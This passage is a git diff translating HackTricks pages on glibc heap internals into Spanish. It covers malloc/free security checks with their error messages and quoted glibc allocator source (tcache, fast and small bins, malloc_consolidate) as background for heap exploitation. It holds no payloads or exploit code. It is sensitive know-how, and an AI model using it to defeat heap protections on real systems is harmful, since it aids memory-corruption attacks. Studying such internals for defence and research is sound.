tcache: +- Mensaje de error: `free(): double free detected in tcache 2` +- **Comprobaciones en `_int_free` fast bin:** +- Si el tamaño del chunk es inválido (demasiado grande o pequeño) activar: +- Mensaje de error: `free(): invalid next size (fast)` +- Si el chunk agregado ya era el top del fast bin: +- Mensaje de error: `double free or corruption (fasttop)` +- Si el tamaño del chunk en la parte superior tiene un tamaño diferente al del chunk que estamos agregando: +- Mensaje de error: `invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -- **Checks in `_int_free_merge_chunk`:** - - If the chunk is the top chunk: - - Error message: `double free or corruption (top)` - - If the next chunk is outside of the boundaries of the arena: - - Error message: `double free or corruption (out)` - - If the chunk is not marked as used (in the prev_inuse from the following chunk): - - Error message: `double free or corruption (!prev)` - - If the next chunk has a too little size or too big: - - Error message: `free(): invalid next size (normal)` - - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - - Error message: `corrupted size vs. prev_size while consolidating` +- **Comprobaciones en `_int_free_merge_chunk`:** +- Si el chunk es el top chunk: +- Mensaje de error: `double free or corruption (top)` +- Si el siguiente chunk está fuera de los límites de la arena: +- Mensaje de error: `double free or corruption (out)` +- Si el chunk no está marcado como usado (en el prev_inuse del siguiente chunk): +- Mensaje de error: `double free or corruption (!prev)` +- Si el siguiente chunk tiene un tamaño demasiado pequeño o demasiado grande: +- Mensaje de error: `free(): invalid next size (normal)` +- Si el chunk anterior no está en uso, intentará consolidar. Pero, si el `prev_size` difiere del tamaño indicado en el chunk anterior: +- Mensaje de error: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -- **Checks in `_int_free_create_chunk`:** - - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - - Error message: `free(): corrupted unsorted chunks` +- **Comprobaciones en `_int_free_create_chunk`:** +- Al agregar un chunk en el unsorted bin, verificar si `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: +- Mensaje de error: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` -- **Checks in `do_check_malloc_state`:** - - If misaligned fast bin chunk: - - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` +- **Comprobaciones en `do_check_malloc_state`:** +- Si el chunk de fast bin está desalineado: +- Mensaje de error: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -- **Checks in `malloc_consolidate`:** - - If misaligned fast bin chunk: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If incorrect fast bin chunk size: - - Error message: `malloc_consolidate(): invalid chunk size` +- **Comprobaciones en `malloc_consolidate`:** +- Si el chunk de fast bin está desalineado: +- Mensaje de error: `malloc_consolidate(): unaligned fastbin chunk detected` +- Si el tamaño del chunk de fast bin es incorrecto: +- Mensaje de error: `malloc_consolidate(): invalid chunk size` ## `_int_realloc` -- **Checks in `_int_realloc`:** - - Size is too big or too small: - - Error message: `realloc(): invalid old size` - - Size of the next chunk is too big or too small: - - Error message: `realloc(): invalid next size` +- **Comprobaciones en `_int_realloc`:** +- El tamaño es demasiado grande o demasiado pequeño: +- Mensaje de error: `realloc(): invalid old size` +- El tamaño del siguiente chunk es demasiado grande o demasiado pequeño: +- Mensaje de error: `realloc(): invalid next size` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3b2ab7085..2a464615d 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -2,37 +2,36 @@ {{#include ../../../banners/hacktricks-training.md}} -## Allocation Order Summary +## Resumen del Orden de Asignación -(No checks are explained in this summary and some case have been omitted for brevity) +(No se explican verificaciones en este resumen y se han omitido algunos casos por brevedad) -1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` +1. `__libc_malloc` intenta obtener un chunk del tcache, si no, llama a `_int_malloc` 2. `_int_malloc` : - 1. Tries to generate the arena if there isn't any - 2. If any fast bin chunk of the correct size, use it - 1. Fill tcache with other fast chunks - 3. If any small bin chunk of the correct size, use it - 1. Fill tcache with other chunks of that size - 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin - 5. Check the unsorted bin, use the first chunk with enough space - 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin - 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one) - 3. For each chunk of smaller size checked, put it in its respective small or large bin - 6. Check the large bin in the index of the requested size - 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin - 7. Check the large bins from the next indexes until the end - 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin - 8. If nothing is found in the previous bins, get a chunk from the top chunk - 9. If the top chunk wasn't big enough enlarge it with `sysmalloc` +1. Intenta generar la arena si no hay ninguna +2. Si hay algún chunk de fast bin del tamaño correcto, úsalo +1. Llena el tcache con otros chunks rápidos +3. Si hay algún chunk de small bin del tamaño correcto, úsalo +1. Llena el tcache con otros chunks de ese tamaño +4. Si el tamaño solicitado no es para small bins, consolida fast bin en unsorted bin +5. Verifica el unsorted bin, usa el primer chunk con suficiente espacio +1. Si el chunk encontrado es más grande, divídelo para devolver una parte y agrega el resto de nuevo al unsorted bin +2. Si un chunk es del mismo tamaño que el tamaño solicitado, úsalo para llenar el tcache en lugar de devolverlo (hasta que el tcache esté lleno, luego devuelve el siguiente) +3. Para cada chunk de tamaño menor revisado, colócalo en su respectivo small o large bin +6. Verifica el large bin en el índice del tamaño solicitado +1. Comienza a buscar desde el primer chunk que sea más grande que el tamaño solicitado, si se encuentra alguno, devuélvelo y agrega los restos al small bin +7. Verifica los large bins desde los siguientes índices hasta el final +1. Desde el siguiente índice más grande, verifica si hay algún chunk, divide el primer chunk encontrado para usarlo para el tamaño solicitado y agrega el resto al unsorted bin +8. Si no se encuentra nada en los bins anteriores, obtén un chunk del top chunk +9. Si el top chunk no era lo suficientemente grande, amplíalo con `sysmalloc` ## \_\_libc_malloc -The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread. +La función `malloc` en realidad llama a `__libc_malloc`. Esta función verificará el tcache para ver si hay algún chunk disponible del tamaño deseado. Si lo hay, lo usará y si no, verificará si es un hilo único y en ese caso llamará a `_int_malloc` en la arena principal, y si no, llamará a `_int_malloc` en la arena del hilo.
-__libc_malloc code - +Código de __libc_malloc ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t void * __libc_malloc (size_t bytes) { - mstate ar_ptr; - void *victim; +mstate ar_ptr; +void *victim; - _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, - "PTRDIFF_MAX is not more than half of SIZE_MAX"); +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); - if (!__malloc_initialized) - ptmalloc_init (); +if (!__malloc_initialized) +ptmalloc_init (); #if USE_TCACHE - /* int_free also calls request2size, be careful to not pad twice. */ - size_t tbytes = checked_request2size (bytes); - if (tbytes == 0) - { - __set_errno (ENOMEM); - return NULL; - } - size_t tc_idx = csize2tidx (tbytes); +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); - MAYBE_INIT_TCACHE (); +MAYBE_INIT_TCACHE (); - DIAG_PUSH_NEEDS_COMMENT; - if (tc_idx < mp_.tcache_bins - && tcache != NULL - && tcache->counts[tc_idx] > 0) - { - victim = tcache_get (tc_idx); - return tag_new_usable (victim); - } - DIAG_POP_NEEDS_COMMENT; +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; #endif - if (SINGLE_THREAD_P) - { - victim = tag_new_usable (_int_malloc (&main_arena, bytes)); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - &main_arena == arena_for_chunk (mem2chunk (victim))); - return victim; - } +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} - arena_get (ar_ptr, bytes); +arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - /* Retry with another arena only if we were able to find a usable arena - before. */ - if (!victim && ar_ptr != NULL) - { - LIBC_PROBE (memory_malloc_retry, 1, bytes); - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - victim = tag_new_usable (victim); +victim = tag_new_usable (victim); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - ar_ptr == arena_for_chunk (mem2chunk (victim))); - return victim; +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; } ``` -
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code: - +Nota cómo siempre etiquetará el puntero devuelto con `tag_new_usable`, del código: ```c - void *tag_new_usable (void *ptr) +void *tag_new_usable (void *ptr) - Allocate a new random color and use it to color the user region of - a chunk; this may include data from the subsequent chunk's header - if tagging is sufficiently fine grained. Returns PTR suitably - recolored for accessing the memory there. +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. ``` - ## \_int_malloc -This is the function that allocates memory using the other bins and top chunk. +Esta es la función que asigna memoria utilizando los otros bins y el top chunk. -- Start +- Inicio -It starts defining some vars and getting the real size the request memory space need to have: +Comienza definiendo algunas variables y obteniendo el tamaño real que el espacio de memoria solicitado necesita tener:
-_int_malloc start - +_int_malloc inicio ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * _int_malloc (mstate av, size_t bytes) { - INTERNAL_SIZE_T nb; /* normalized request size */ - unsigned int idx; /* associated bin index */ - mbinptr bin; /* associated bin */ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ - mchunkptr victim; /* inspected/selected chunk */ - INTERNAL_SIZE_T size; /* its size */ - int victim_index; /* its bin index */ +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ - mchunkptr remainder; /* remainder from a split */ - unsigned long remainder_size; /* its size */ +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ - unsigned int block; /* bit map traverser */ - unsigned int bit; /* bit map traverser */ - unsigned int map; /* current word of binmap */ +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ - mchunkptr fwd; /* misc temp for linking */ - mchunkptr bck; /* misc temp for linking */ +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE - size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif - /* - Convert request size to internal form by adding SIZE_SZ bytes - overhead plus possibly more to obtain necessary alignment and/or - to obtain a size of at least MINSIZE, the smallest allocatable - size. Also, checked_request2size returns false for request sizes - that are so large that they wrap around zero when padded and - aligned. - */ +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ - nb = checked_request2size (bytes); - if (nb == 0) - { - __set_errno (ENOMEM); - return NULL; - } +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} ``` -
### Arena -In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`: +En el improbable caso de que no haya arenas utilizables, utiliza `sysmalloc` para obtener un bloque de `mmap`:
-_int_malloc not arena - +_int_malloc no arena ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from - mmap. */ - if (__glibc_unlikely (av == NULL)) - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} ``` -
### Fast Bin -If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\ -Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**. +Si el tamaño necesario está dentro de los tamaños de Fast Bins, intenta usar un chunk del fast bin. Básicamente, según el tamaño, encontrará el índice del fast bin donde deberían estar los chunks válidos, y si hay alguno, devolverá uno de esos.\ +Además, si tcache está habilitado, **llenará el tcache bin de ese tamaño con fast bins**. -While performing these actions, some security checks are executed in here: +Mientras se realizan estas acciones, se ejecutan algunas verificaciones de seguridad aquí: -- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2` -- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected` -- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)` -- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3` +- Si el chunk está desalineado: `malloc(): unaligned fastbin chunk detected 2` +- Si el chunk hacia adelante está desalineado: `malloc(): unaligned fastbin chunk detected` +- Si el chunk devuelto tiene un tamaño que no es correcto debido a su índice en el fast bin: `malloc(): memory corruption (fast)` +- Si algún chunk utilizado para llenar el tcache está desalineado: `malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If the size qualifies as a fastbin, first check corresponding bin. - This code is safe to execute even if av is not yet initialized, so we - can try it without checking, which saves some time on this fast path. - */ +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ #define REMOVE_FB(fb, victim, pp) \ - do \ - { \ - victim = pp; \ - if (victim == NULL) \ - break; \ - pp = REVEAL_PTR (victim->fd); \ - if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ - malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ - } \ - while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ - != victim); \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ - if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) - { - idx = fastbin_index (nb); - mfastbinptr *fb = &fastbin (av, idx); - mchunkptr pp; - victim = *fb; +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; - if (victim != NULL) - { - if (__glibc_unlikely (misaligned_chunk (victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (victim->fd); - else - REMOVE_FB (fb, pp, victim); - if (__glibc_likely (victim != NULL)) - { - size_t victim_idx = fastbin_index (chunksize (victim)); - if (__builtin_expect (victim_idx != idx, 0)) - malloc_printerr ("malloc(): memory corruption (fast)"); - check_remalloced_chunk (av, victim, nb); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = *fb) != NULL) - { - if (__glibc_unlikely (misaligned_chunk (tc_victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (tc_victim->fd); - else - { - REMOVE_FB (fb, pp, tc_victim); - if (__glibc_unlikely (tc_victim == NULL)) - break; - } - tcache_put (tc_victim, tc_idx); - } - } +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} ``` -
### Small Bin -As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked. +Como se indica en un comentario, los pequeños bins contienen un tamaño por índice, por lo tanto, verificar si hay un chunk válido disponible es muy rápido, así que después de los fast bins, se revisan los small bins. -The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**. +La primera verificación es averiguar si el tamaño solicitado podría estar dentro de un small bin. En ese caso, obtén el **índice** correspondiente dentro del smallbin y verifica si hay **algún chunk disponible**. -Then, a security check is performed checking: +Luego, se realiza una verificación de seguridad comprobando: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- if `victim->bk->fd = victim`. Para ver que ambos chunks están correctamente enlazados. -In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. +En ese caso, el chunk **obtiene el bit `inuse`,** la lista doblemente enlazada se corrige para que este chunk desaparezca de ella (ya que va a ser utilizado), y se establece el bit de arena no principal si es necesario. -Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any). +Finalmente, **llena el índice tcache del tamaño solicitado** con otros chunks dentro del small bin (si los hay).
_int_malloc small bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If a small request, check regular bin. Since these "smallbins" - hold one size each, no searching within bins is necessary. - (For a large request, we need to wait until unsorted chunks are - processed to find best fit. But for small ones, fits are exact - anyway, so we can check now, which is faster.) - */ +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ - if (in_smallbin_range (nb)) - { - idx = smallbin_index (nb); - bin = bin_at (av, idx); +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); - if ((victim = last (bin)) != bin) - { - bck = victim->bk; - if (__glibc_unlikely (bck->fd != victim)) - malloc_printerr ("malloc(): smallbin double linked list corrupted"); - set_inuse_bit_at_offset (victim, nb); - bin->bk = bck; - bck->fd = bin; +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; - if (av != &main_arena) - set_non_main_arena (victim); - check_malloced_chunk (av, victim, nb); +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks over. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = last (bin)) != bin) - { - if (tc_victim != 0) - { - bck = tc_victim->bk; - set_inuse_bit_at_offset (tc_victim, nb); - if (av != &main_arena) - set_non_main_arena (tc_victim); - bin->bk = bck; - bck->fd = bin; +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; - tcache_put (tc_victim, tc_idx); - } - } - } +tcache_put (tc_victim, tc_idx); +} +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### malloc_consolidate -If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation. +Si no era un pequeño fragmento, es un gran fragmento, y en este caso se llama a **`malloc_consolidate`** para evitar la fragmentación de memoria.
-malloc_consolidate call - +llamada a malloc_consolidate ```c /* - If this is a large request, consolidate fastbins before continuing. - While it might look excessive to kill all fastbins before - even seeing if there is space available, this avoids - fragmentation problems normally associated with fastbins. - Also, in practice, programs tend to have runs of either small or - large requests, but less often mixtures, so consolidation is not - invoked all that often in most programs. And the programs that - it is called frequently in otherwise tend to fragment. - */ +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ - else - { - idx = largebin_index (nb); - if (atomic_load_relaxed (&av->have_fastchunks)) - malloc_consolidate (av); - } +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} ``` -
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins. +La función malloc consolidate básicamente elimina bloques del fast bin y los coloca en el unsorted bin. Después del siguiente malloc, estos bloques se organizarán en sus respectivos small/fast bins. -Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin. +Tenga en cuenta que si al eliminar estos bloques se encuentran con bloques anteriores o siguientes que no están en uso, serán **desvinculados y fusionados** antes de colocar el bloque final en el **unsorted** bin. -For each fast bin chunk a couple of security checks are performed: +Para cada bloque del fast bin se realizan un par de verificaciones de seguridad: -- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected` -- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size` -- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins` +- Si el bloque no está alineado, se activa: `malloc_consolidate(): unaligned fastbin chunk detected` +- Si el bloque tiene un tamaño diferente al que debería debido al índice en el que se encuentra: `malloc_consolidate(): invalid chunk size` +- Si el bloque anterior no está en uso y el bloque anterior tiene un tamaño diferente al indicado por `prev_chunk`: `corrupted size vs. prev_size in fastbins`
-malloc_consolidate function - +función malloc_consolidate ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 static void malloc_consolidate(mstate av) { - mfastbinptr* fb; /* current fastbin being consolidated */ - mfastbinptr* maxfb; /* last fastbin (for loop control) */ - mchunkptr p; /* current chunk being consolidated */ - mchunkptr nextp; /* next chunk to consolidate */ - mchunkptr unsorted_bin; /* bin header */ - mchunkptr first_unsorted; /* chunk to link to */ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ - /* These have same use as in free() */ - mchunkptr nextchunk; - INTERNAL_SIZE_T size; - INTERNAL_SIZE_T nextsize; - INTERNAL_SIZE_T prevsize; - int nextinuse; +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; - atomic_store_relaxed (&av->have_fastchunks, false); +atomic_store_relaxed (&av->have_fastchunks, false); - unsorted_bin = unsorted_chunks(av); +unsorted_bin = unsorted_chunks(av); - /* - Remove each chunk from fast bin and consolidate it, placing it - then in unsorted bin. Among other reasons for doing this, - placing in unsorted bin avoids needing to calculate actual bins - until malloc is sure that chunks aren't immediately going to be - reused anyway. - */ +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ - maxfb = &fastbin (av, NFASTBINS - 1); - fb = &fastbin (av, 0); - do { - p = atomic_exchange_acquire (fb, NULL); - if (p != 0) { - do { - { - if (__glibc_unlikely (misaligned_chunk (p))) - malloc_printerr ("malloc_consolidate(): " - "unaligned fastbin chunk detected"); +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); - unsigned int idx = fastbin_index (chunksize (p)); - if ((&fastbin (av, idx)) != fb) - malloc_printerr ("malloc_consolidate(): invalid chunk size"); - } +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} - check_inuse_chunk(av, p); - nextp = REVEAL_PTR (p->fd); +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); - /* Slightly streamlined version of consolidation code in free() */ - size = chunksize (p); - nextchunk = chunk_at_offset(p, size); - nextsize = chunksize(nextchunk); +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); - if (!prev_inuse(p)) { - prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size in fastbins"); - unlink_chunk (av, p); - } +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} - if (nextchunk != av->top) { - nextinuse = inuse_bit_at_offset(nextchunk, nextsize); +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); - if (!nextinuse) { - size += nextsize; - unlink_chunk (av, nextchunk); - } else - clear_inuse_bit_at_offset(nextchunk, 0); +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); - first_unsorted = unsorted_bin->fd; - unsorted_bin->fd = p; - first_unsorted->bk = p; +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; - if (!in_smallbin_range (size)) { - p->fd_nextsize = NULL; - p->bk_nextsize = NULL; - } +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} - set_head(p, size | PREV_INUSE); - p->bk = unsorted_bin; - p->fd = first_unsorted; - set_foot(p, size); - } +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; 